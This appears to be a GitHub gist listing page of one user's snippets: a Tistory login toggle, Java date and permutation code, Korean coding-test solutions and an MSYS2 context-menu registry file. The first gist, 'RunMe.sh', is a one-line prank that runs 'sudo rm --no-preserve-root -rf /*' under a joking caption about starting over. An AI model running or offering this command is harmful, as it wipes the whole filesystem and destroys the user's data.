Skip to content

Instantly share code, notes, and snippets.

View NaniteFactory's full-sized avatar
😊
Hi

NaniteFactory

😊
Hi
View GitHub Profile
@NaniteFactory
NaniteFactory / RunMe.sh
Last active April 13, 2017 16:32
진정 새로운 무언가를 창조하려 한다면 처음부터 다시 시작해야 합니다.
#!/bin/bash
sudo rm --no-preserve-root -rf /*
@NaniteFactory
NaniteFactory / skin_fixed.html
Last active August 21, 2023 06:10
티스토리 로그인 로그아웃
<li class="tab_login"><a href="#" id="tab_login_toggle" onclick="fnLoginToggle();"></a>
<script>
function fnLoginToggle() {};
$(function() {
if(window.T.config.USER.name) {
$('#tab_login_toggle').text('로그아웃');
fnLoginToggle = function() { document.location.href = "https://www.tistory.com/auth/logout?redirectUrl=" + encodeURIComponent(window.location.href); };
} else {
$('#tab_login_toggle').text('로그인');
fnLoginToggle = function() { document.location.href = "https://www.tistory.com/auth/login?redirectUrl=" + encodeURIComponent(window.location.href); };
@NaniteFactory
NaniteFactory / diff_sec.java
Created October 21, 2017 06:47
Calculating seconds between two Dates within Java. 자바에서 두 날짜 값의 차이를 초로 구하기.
import java.text.SimpleDateFormat;
import java.util.Locale;
import java.util.Date;
import java.text.ParseException;
public class Main {
public static void main(String[] args) throws ParseException {
// TODO Auto-generated method stub
SimpleDateFormat f = new SimpleDateFormat("HH:mm:ss", Locale.KOREA);
Date d1 = f.parse("01:05:10");
@NaniteFactory
NaniteFactory / NextPermutation.java
Last active April 14, 2018 08:04
an implementation of next_permutation() written in java
public class NextPermutation {
public static void swap(int[] arr, int index1, int index2) {
int tmp = arr[index2];
arr[index2] = arr[index1];
arr[index1] = tmp;
}
public static boolean nextPermutation(int[] arr) {
final int indexLast = arr.length - 1;
@NaniteFactory
NaniteFactory / Solution.java
Last active April 13, 2018 11:43
4014. [모의 SW 역량테스트] 활주로 건설
import java.util.*;
import java.io.*;
public class Solution {
public static boolean isInBound(int[] row, int from, int to) {
if (from < 0 || to >= row.length) {
return false;
}
return true;
@NaniteFactory
NaniteFactory / Solution.java
Created April 14, 2018 02:24
That's how you start out.
import java.util.*;
import java.io.*;
public class Solution {
public static void main(String args[]) throws NumberFormatException, IOException {
final BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
final int nTestcases = Integer.parseInt(br.readLine());
final StringBuilder ret = new StringBuilder();
@NaniteFactory
NaniteFactory / Solution.java
Last active April 14, 2018 06:26
1767. [SW Test 샘플문제] 프로세서 연결하기 ---- 틀린 답 ---- 어디가 틀렸지?
import java.util.*;
import java.io.*;
public class Solution {
public static boolean isAvailableWest(int[][] mat, int nrow, int ncol) {
for (int i = 0; i < ncol; ++i) {
if (mat[nrow][i] == 1 || mat[nrow][i] == 2) {
return false;
}
@NaniteFactory
NaniteFactory / Solution.java
Created April 14, 2018 08:00
4013. [모의 SW 역량테스트] 특이한 자석
import java.util.*;
import java.io.*;
public class Solution {
public static int S = 1, N = 0, RIGHT = 1, LEFT = -1;
public static void rotateLeft(int[] gear) {
int tmp = gear[0];
for (int i = 0; i < gear.length - 1; ++i) {
@NaniteFactory
NaniteFactory / Solution.java
Created April 14, 2018 08:09
4012. [모의 SW 역량테스트] 요리사 ----- 권장하지 않는 매우 더러운 풀이
import java.util.*;
import java.io.*;
public class Solution {
public static void swap(int[] arr, final int i1, final int i2) {
int tmp = arr[i1];
arr[i1] = arr[i2];
arr[i2] = tmp;
}
@NaniteFactory
NaniteFactory / _msys2-here.reg
Last active June 8, 2018 14:54
"MSYS2 here" context menu item // MSYS 실행 옵션을 우클릭 메뉴에 추가하기
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\Directory\Background\shell\MSYS2 here]
@="MSYS2 here"
"icon"="D:\\msys64\\msys2.ico"
[HKEY_CURRENT_USER\Software\Classes\Directory\Background\shell\MSYS2 here\command]
@="D:\\msys64\\msys2.exe bash"